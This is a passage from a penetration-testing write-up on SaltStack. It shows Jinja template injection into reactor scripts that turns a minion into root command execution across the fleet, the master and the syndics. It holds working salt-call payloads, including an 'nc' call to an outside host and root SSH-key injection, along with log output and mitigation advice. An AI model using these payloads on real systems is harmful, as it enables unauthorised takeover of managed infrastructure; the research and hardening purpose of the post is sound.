class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/pillar\/prod <span class=\"token key atrule\">reactor<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">'salt\/minion\/*\/start'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt\/reactor\/do_setup_checks.sls <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">'prod\/install\/product'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt\/prod\/reactor\/install.sls <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>The reactor definitions specify a string that, if seen on the salt-master\u2019s message queue, will cause the salt-master to execute some script(s). Previously we saw .sls files targeting minions but these will define logic for the master; with some limitations on what a reactor script can do.<\/p>\n<p>This is a simplified version of what PowerCorp\u2019s install.sls script did.<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\">\n<span class=\"token punctuation\">{<\/span>% set product = <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">data['data']['product']<\/span> <span class=\"token directive important\">%}<\/span>\n<span class=\"token punctuation\">{<\/span>% set minion = data<span class=\"token punctuation\">[<\/span><span class=\"token string\">'id'<\/span><span class=\"token punctuation\">]<\/span> %<span class=\"token punctuation\">}<\/span>\nInstalling selected product for <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> minion <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">runner.state.orchestrate<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">args<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">mods<\/span><span class=\"token punctuation\">:<\/span> orch_product_install <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">pillar<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">minion<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> minion <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token key atrule\">action<\/span><span class=\"token punctuation\">:<\/span> install <span class=\"token key atrule\">type<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">{{ product }}<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>This reactor script will cause the master to fire instructions at whatever minion sent the triggering event (as tracked by <code>data['id']<\/code>) to run an orchestration job that installs something custom created by the Salt admin.<\/p>\n<p><code>data<\/code> is a JSON object this script has access to that is populated with various automatic telemetry as well as minion-submitted data. This minion data is exclusively captured in data[\u2018data\u2019] (yes, the naming is odd) and can be anything. It is up to whomever configures these scripts to include what they need. It is often used as a way for a minion to pass data about itself to its master and then let the master make a custom decision\/action.<\/p>\n<hr>\n<p>I highly recommend setting up a test environment now if you haven\u2019t already.<\/p>\n<p>Before attacking a live system, you will want to test whatever reactor logic you are injecting into first &#8211; not for safety but for repeatability. Testing and exploiting this with only access to the minion will be tedious and error prone at best and sisyphean at worst. Building your own basic salt environment is simple and if your target\u2019s reactor logic is exposed via normal <code>file_roots<\/code> (quite common and some documentation encourages this), you can copy it to your own master and view the message queue and logging end-to-end.<\/p>\n<p>Add the following to your \/etc\/salt\/[minion|master].conf files:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">log_level<\/span><span class=\"token punctuation\">:<\/span> debug\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>Then restart both minion and master and <code>tail -f<\/code> your verbose log files at \/var\/log\/salt\/*<\/p>\n<hr>\n<p>From a minion, this kind of reactor logic is typically triggered by some custom application or background process e.g. a Python script with a salt library, but you can just as equally trigger it manually:<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-call event.send <span class=\"token string\">'prod\/install\/product'<\/span> <span class=\"token string\">'{\"product\":\"mysql\"}'<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>From the master\u2019s logs you will see events that look like this in response to the incoming message: <\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\">Sending event<span class=\"token punctuation\">:<\/span> tag = prod\/install\/product; data = <span class=\"token punctuation\">{<\/span><span class=\"token key atrule\">'id'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'saltminion-laptop1'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'tag'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'prod\/install\/product'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'data'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token key atrule\">'__pub_fun'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'event.send'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'__pub_pid'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token number\">8944<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'__pub_jid'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'20230203035229090158'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'__pub_tgt'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'salt-call'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'product'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'mysql'<\/span><span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'cmd'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'_minion_event'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'_stamp'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'2023-02-03T03:52:29.112696'<\/span><span class=\"token punctuation\">}<\/span>\n<span class=\"token punctuation\">...<\/span>\nCompiling reactions for tag prod\/install\/product\n<span class=\"token punctuation\">...<\/span>\nTime (in seconds) to render '\/var\/cache\/salt\/master\/files\/base\/install.sls' using 'jinja' renderer<span class=\"token punctuation\">:<\/span> <span class=\"token number\">0.0016622543334960938<\/span>\nRendered data from file<span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">\/var\/cache\/salt\/master\/files\/base\/install.sls<\/span><span class=\"token punctuation\">:<\/span>\nInstalling selected product for saltminion<span class=\"token punctuation\">-<\/span><span class=\"token key atrule\">laptop1<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">runner.state.orchestrate<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">args<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">mods<\/span><span class=\"token punctuation\">:<\/span> orch_product_install <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">pillar<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">minion<\/span><span class=\"token punctuation\">:<\/span> saltminion<span class=\"token punctuation\">-<\/span>laptop1 <span class=\"token key atrule\">action<\/span><span class=\"token punctuation\">:<\/span> install <span class=\"token key atrule\">type<\/span><span class=\"token punctuation\">:<\/span> mysql Time (in seconds) to render '\/var\/cache\/salt\/master\/files\/base\/install.sls' using 'yaml' renderer<span class=\"token punctuation\">:<\/span> <span class=\"token number\">0.00040030479431152344<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>What did the salt-master just do? The <code>install.sls<\/code> file is marked as a Jinja template file and thus salt knows to render it first before actually performing its evaluation as a YAML definition &#8211; Jinja can be used in this way to dynamically render different outputs from the same base template (e.g. using if statements and loops) based on inputs provided i.e. Jinja template in, data in, YAML out.<\/p>\n<p>Injecting into Jinja templates is not a new concept but most commonly has been exploited in website rendering engines. Here in the salt implementation we\u2019re going to exploit it by injecting into the <code>data['data']<\/code> object. Attention needs to be paid to ensuring the whitespacing in the final rendered YAML file is correct (since YAML is whitespace sensitive).<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-call event.send <span class=\"token string\">'prod\/install\/product'<\/span> '<span class=\"token punctuation\">{<\/span><span class=\"token string\">\"product\"<\/span>:\"mysql<span class=\"token skylight-mark source-code-bold-red\">\\n\\nInjection time:\\n local.cmd.run:\\n - tgt: innocent-minion\\n - args:\\n - cmd: \\\"nc 10.0.0.53 9090\\\"<\/span><span class=\"token punctuation\">}<\/span>'\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>\/var\/log\/salt\/master.log<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\">Sending event<span class=\"token punctuation\">:<\/span> tag = prod\/install\/product; data = <span class=\"token punctuation\">{<\/span><span class=\"token key atrule\">'id'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'saltminion-laptop1'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'tag'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'prod\/install\/product'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'data'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token key atrule\">'__pub_fun'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'event.send'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'__pub_pid'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token number\">8944<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'__pub_jid'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'20230203035229090158'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'__pub_tgt'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'salt-call'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'product'<\/span><span class=\"token punctuation\">:<\/span> 'mysql<span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">\\n\\nInjection time:\\n local.cmd.run:\\n - tgt: innocent-minion\\n - args:\\n - cmd: nc 10.0.0.53 9090<\/span>'<span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'cmd'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'_minion_event'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'_stamp'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'2023-02-03T03:52:29.112696'<\/span><span class=\"token punctuation\">}<\/span>\n<span class=\"token punctuation\">...<\/span>\nCompiling reactions for tag prod\/install\/product\n<span class=\"token punctuation\">...<\/span>\nTime (in seconds) to render '\/var\/cache\/salt\/master\/files\/base\/install.sls' using 'jinja' renderer<span class=\"token punctuation\">:<\/span> <span class=\"token number\">0.001498379837922215<\/span>\nRendered data from file<span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">\/var\/cache\/salt\/master\/files\/base\/install.sls<\/span><span class=\"token punctuation\">:<\/span>\nInstalling selected product for saltminion<span class=\"token punctuation\">-<\/span><span class=\"token key atrule\">laptop1<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">runner.state.orchestrate<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">args<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">mods<\/span><span class=\"token punctuation\">:<\/span> orch_product_install <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">pillar<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">minion<\/span><span class=\"token punctuation\">:<\/span> saltminion<span class=\"token punctuation\">-<\/span>laptop1 <span class=\"token key atrule\">action<\/span><span class=\"token punctuation\">:<\/span> install <span class=\"token key atrule\">type<\/span><span class=\"token punctuation\">:<\/span> mysql <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">Injection time:<\/span>\n<span class=\"token skylight-mark source-code-bold-red source-code-bold-red\"> local.cmd.run:<\/span>\n<span class=\"token skylight-mark source-code-bold-red source-code-bold-red\"> - tgt: innocent-minion<\/span>\n<span class=\"token skylight-mark source-code-bold-red source-code-bold-red\"> - args:<\/span>\n<span class=\"token skylight-mark source-code-bold-red source-code-bold-red\"> - cmd: nc 10.0.0.53 9090<\/span> Time (in seconds) to render '\/var\/cache\/salt\/master\/files\/base\/install.sls' using 'yaml' renderer<span class=\"token punctuation\">:<\/span> <span class=\"token number\">0.00040030182619290012<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p><code>local.cmd.run<\/code> is a built-in function design to issue commands to minions. It is available inside reactor scripts to trigger actions targeting a minion (local is from the perspective of the minion specified with the target <code>tgt<\/code> field, it is local to itself). Using the salt cli from a master node this is functionally equivalent to manually running:<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt innocent-minion cmd.run <span class=\"token string\">\"nc 10.0.0.53 9090\"<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>Basically we are tricking the salt-master into issuing instructions to another victim minion. Since the salt-minion agent that will receive our command will be running as root, you can do whatever you want to it. Any minion in the fleet enroled to this master is a valid target using this mechanism.<\/p>\n<p>Minion-to-minion command execution &#8211; <code class=\"source-code-bold-green\">Success<\/code><\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_5.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_5.png\" alt=\"We now have root on all minions in our site\" title=\"We now have root on all minions in our site\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_5.png\" data-footer=\"We now have root on all minions in our site\"><\/a><figcaption>We now have root on all minions in our site<\/figcaption><\/figure>\n<h2 id=\"Key-Point\">Key Point<\/h2>\n<p>The root cause for this problem is that minion-submitted data is essential unsanitised user input. The reactor scripts that are vulnerable to this type of injection are vulnerable because they blindly trust minions to be supplying well formed, non-malicious inputs. If you are in charge of building salt scripts, never trust the minion &#8211; always assume they can be manipulated (or that someone will set up auto enrolment).<\/p>\n<p>The correct way to stop this type of injection from happening for most environments will be to make use of input parsing clauses like <code>|json<\/code>, <code>|yaml<\/code>, <code>|python<\/code>. These will prevent our payloads from being interpreted as anything unexpected and breaking the intended rendering.<\/p>\n<p>In short if you see a reactor script that makes use of a variable of the form:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\">set varA = <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">data['data']['foo']<\/span>\n<span class=\"token punctuation\">...<\/span>\n<span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> varA <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>You have found an injectable template.<\/p>\n<p>If you see a reactor script that instead looks like this:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\">set varA = <span class=\"token skylight-mark source-code-bold-red source-code-bold-green\">data['data']['blah'] | json<\/span>\n<span class=\"token punctuation\">...<\/span>\n<span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> varA <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>You are out of luck.<\/p>\n<hr>\n<p>In this specific engagement, we already had various secrets and other potential ways to access other minion devices in the network. But we wanted the master node too.<\/p>\n<h2 id=\"Environments-with-a-single-master-node\">Environments with a single master node<\/h2>\n<p>If you are testing an environment with only one master node, it should be trivial to gain command execution on it by simply changing your payload\u2019s <code>tgt<\/code> field to target the master itself. This should be its hostname and will likely match what is configured in enrolled minions\u2019 \/etc\/salt\/minion.d\/master.conf definitions.<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-call event.send <span class=\"token string\">'prod\/install\/product'<\/span> '<span class=\"token punctuation\">{<\/span><span class=\"token string\">\"product\"<\/span>:\"mysql\\n\\nInjection time:\\n local.cmd.run:\\n <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">- tgt: salt-master<\/span>\\n - args:\\n - cmd: \\\"nc 10.0.0.53 9090\\\"<span class=\"token punctuation\">}<\/span>'\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>This works because it is extremely common for the server you install salt-master on to also have salt-minion installed and <b>enrolled to itself<\/b>. I am not sure why this convention exists but most guides online will instruct users to do this.<\/p>\n<p>For more complete access I am a fan of adding your SSH key to the salt-master (see below) rather than fiddling around with single commands. Alternatively, you could tell the salt-master to pull down a script and execute it. Whatever floats your boat.<\/p>\n<p>Minion-to-minion command execution &#8211; <code class=\"source-code-bold-green\">Success<\/code><br \/>Minion-to-master command execution &#8211; <code class=\"source-code-bold-green\">Success<\/code><\/p>\n<h2 id=\"Environments-with-multiple-master-servers\">Environments with multiple master servers<\/h2>\n<p>Thinking back to our PowerCorp architecture though, they have a multi-master environment (aka master-of-masters). We need to first get minion-to-syndic command execution but intermediary syndic servers are not enrolled to themselves &#8211; they are enrolled to the top level PowerCorp salt-master. This means our previous trick of <code>tgt<\/code> targeting the master itself won\u2019t work.<\/p>\n<p>Where previously we used the <code>local<\/code> system (where local was from the perspective of a target minion), now can instead use the <code>runner<\/code> system. Runners give access to functions designed to be run by the masters themselves (prior to returning some response to a minion). The <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/topics\/reactor\/index.html#types-of-reactions\">documentation for different reaction types<\/a> is quite detailed and helpful for working out what is possible to execute here. I recommend reading through some of it to get to grips with the notation and design intent before continuing with this on a live engagement.<\/p>\n<p>Following that documentation thread, there are <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/ref\/runners\/all\/index.html#all-salt-runners\">A LOT<\/a> of possible built-in modules available. You may also have access to custom modules deployed in your environment so keep an eye out for that if nothing else works. There is probably quite a lot you could do here but all I really cared about was the fastest way to command execution so I honed in on the <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/ref\/runners\/all\/salt.runners.salt.html#module-salt.runners.salt\">runner.salt<\/a> module (again, yes the naming can get confusing), which gives you access to <code>runner.salt.cmd<\/code>.<\/p>\n<p>In turn <code>runner.salt.cmd<\/code> gives you access to ~71 <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/ref\/modules\/all\/index.html#all-salt-modules\">\u2018execution modules\u2019<\/a> which vary wildly in usefulness. But if you sift through the list you\u2019ll find there is a built-in SSH module for managing SSH properties of the master node itself. Now it is just as simple matter of adding our own key to the server and we\u2019re in.<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-call event.send <span class=\"token string\">'prod\/install\/product'<\/span> '<span class=\"token punctuation\">{<\/span><span class=\"token string\">\"product\"<\/span>:\"mysql\\n\\n<span class=\"token skylight-mark source-code-bold-red\">Injection time:\\n runner.salt.cmd:\\n - args:\\n - fun: ssh.set_auth_key\\n - user: root\\n - key: AAAAB3NzaC1yc2EAAAADAQABAAABgQD0Gy7E9XSeA+eeWAH...WcUK19X3W8ovKBbTU7p8tqmIMv7qjZk=\\n\\\"<\/span><span class=\"token punctuation\">}<\/span>'\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>Using the salt cli from a master node, this payload is functionally equivalent to manually running:<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-run salt.cmd ssh.set_auth_key root AAAAB3NzaC1yc2EAAAADAQABAAABgQD0Gy7E9XSeA+eeWAH<span class=\"token punctuation\">..<\/span>.WcUK19X3W8ovKBbTU7p8tqmIMv7qjZk<span class=\"token operator\">=<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>The end result is your supplied SSH key is appended to the salt-master\u2019s \/root\/.ssh\/authorized_keys. Noice.<\/p>\n<p>In an environment where you lack network access to SSH to your target salt-master this won\u2019t work. This wasn\u2019t a problem with PowerCorp so I did not investigate further but I have no doubt that with some further experimentation some of the other 70 modules in <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/ref\/modules\/all\/index.html#all-salt-modules\">this list<\/a> could be used to also achieve our goal. Another option I didn\u2019t explore was abusing these modules to access the secrets storage system (pillar) which could be an option for you.<\/p>\n<p>Minion-to-minion command execution &#8211; <code class=\"source-code-bold-green\">Success<\/code><br \/>Minion-to-master command execution &#8211; <code class=\"source-code-bold-green\">Success<\/code><br \/>Minion-to-syndic command execution &#8211; <code class=\"source-code-bold-green\">Success<\/code><\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_6.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_6.png\" alt=\"Mission complete\" title=\"Mission complete\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_6.png\" data-footer=\"Mission complete\"><\/a><figcaption>Mission complete<\/figcaption><\/figure>\n<p>From here I used the previous <code>local.salt.cmd<\/code> style payload to push an SSH key up to PowerCorp\u2019s top level salt server (which works here because the top level salt-master can only be enrolled to itself) and was basically done. From this master-of-masters server we had free command execution down to any customer site and their respective minions. All in all, a pretty cool way to go from a low powered engineer\u2019s laptop to cross-customer fleet access.<\/p>\n<p>Note that the master.conf and top.sls configurations between syndic and top level master-of-masters nodes will be different. This means that at this point it is also worth checking the auto enrolment and file_roots and pillar_roots misconfigurations (issues 1, 2, 3) against the master-of-masters server as well. Similarly we needed to find a new Jinja template injection location as the master-of-master\u2019s reactor scripts were different.<\/p>\n<p>If you are looking for injectable Jinja fields, you might encounter a reactor script that looks like this:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">new_custom_alert<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">cmd.3rd_party_product.create_event<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">tgt<\/span><span class=\"token punctuation\">:<\/span> alertminion <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">kwarg<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">description<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">\"Custom alert from {{ data['name'] }}\"<\/span> <span class=\"token key atrule\">details<\/span><span class=\"token punctuation\">:<\/span> This is a custom alert <span class=\"token key atrule\">service_key<\/span><span class=\"token punctuation\">:<\/span> 8282<span class=\"token punctuation\">...<\/span>2099308 <span class=\"token key atrule\">profile<\/span><span class=\"token punctuation\">:<\/span> my<span class=\"token punctuation\">-<\/span>customer<span class=\"token punctuation\">-<\/span>config\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>Remember how salt-minion supplied information only ends up in data[\u2018data\u2019]? With a <code>salt-call event.send<\/code> command you can normally only manipulate the <code>tag<\/code> string and <code>data['data']<\/code>. We cannot get inside of data[\u2018name\u2019] to inject into the above script.<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-call event.send <span class=\"token string\">'custom\/alert'<\/span> <span class=\"token string\">'{\"name\":\"injection...\"}'<\/span> <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\">Sending event<span class=\"token punctuation\">:<\/span> tag = custom\/alert; data = <span class=\"token punctuation\">{<\/span><span class=\"token key atrule\">'id'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'saltminion-laptop1'<\/span><span class=\"token punctuation\">,<\/span><span class=\"token key atrule\">'tag'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'custom\/alert'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'data'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token key atrule\">'__pub_fun'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'event.send'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'__pub_tgt'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'salt-call'<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token key atrule\">'name'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">'injection...'<\/span><span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>Our payload ends up in the wrong place: <code>data['data']['name']<\/code> != <code>data['name']<\/code><\/p>\n<p>But this is only really a limitation of the functionality exposed by <code>salt-call event.send<\/code>. The solution? Edit <code>\/opt\/saltstack\/salt\/run\/salt\/modules\/event.py<\/code> on our rogue minion:<\/p>\n<pre class=\"line-numbers language-python\"><code class=\"language-python\"><span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span>\nload <span class=\"token operator\">=<\/span> <span class=\"token punctuation\">{<\/span> <span class=\"token string\">\"id\"<\/span><span class=\"token punctuation\">:<\/span> __opts__<span class=\"token punctuation\">[<\/span><span class=\"token string\">\"id\"<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">\"tag\"<\/span><span class=\"token punctuation\">:<\/span> tag<span class=\"token punctuation\">,<\/span> <span class=\"token string\">\"data\"<\/span><span class=\"token punctuation\">:<\/span> data<span class=\"token punctuation\">,<\/span> <span class=\"token string\">\"tok\"<\/span><span class=\"token punctuation\">:<\/span> auth<span class=\"token punctuation\">.<\/span>gen_token<span class=\"token punctuation\">(<\/span>b<span class=\"token string\">\"salt\"<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">\"cmd\"<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">\"_minion_event\"<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">\"name\": \"A\\n\\ninjection: ...\"<\/span> <span class=\"token punctuation\">}<\/span>\n<span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>Adding your payload directly like this is perfectly valid and the salt-master is okay with it. The salt-master trusts that the minion, however it arrived at the payload it sends, is doing what it is supposed to. Normally you would not need to add custom variables at the <code>data['var']<\/code> level but products and scripts do and there is nothing inherently stopping this except maybe convention.<\/p>\n<p>While this might seem a bit theoretical and not something that people would ever actually do, the <code>new_custom_alert<\/code> reactor script above, used here as an example of bad unsanitised <code>data['foo']<\/code> logic, is a modified version of a script provided by a 3rd party\u2019s documentation that they publish on how to integrate salt with their product. It is a real example of how there is bad information floating around on the Internet right now with no decent security guidance available.<\/p>\n<p>And in case you are wondering, no you cannot inject into <code>data['id']<\/code> that will appear in almost every reactor script. The salt-master checks this value and will reject your message well before any Jinja rendering takes place.<\/p>\n<p>I had fun researching Salt and using it to pivot through our target network. Hopefully this writeup is useful for both attackers and defenders when assessing the security of a Salt environment and gets more people looking into the state of Salt\u2019s security in existing deployments. Salt is a powerful tool but it feels like it lacks proper security guidance for the people using it or trying to harden it. It would be great to see Salt as a product do more to provide warnings when obviously insecure practices are happening.<\/p>\n<p>Finally, the salt documentation. I feel it fails to really warn or explain to its users why something is dangerous or how to do it properly. It has sacrificed security for keeping things fast and quick to get started with. By way of example, the main documentation page on reactors provides no mention on how risky unsantised minion input in data[\u2018data\u2019] can be or how to properly address it. In some instances it even includes insecure 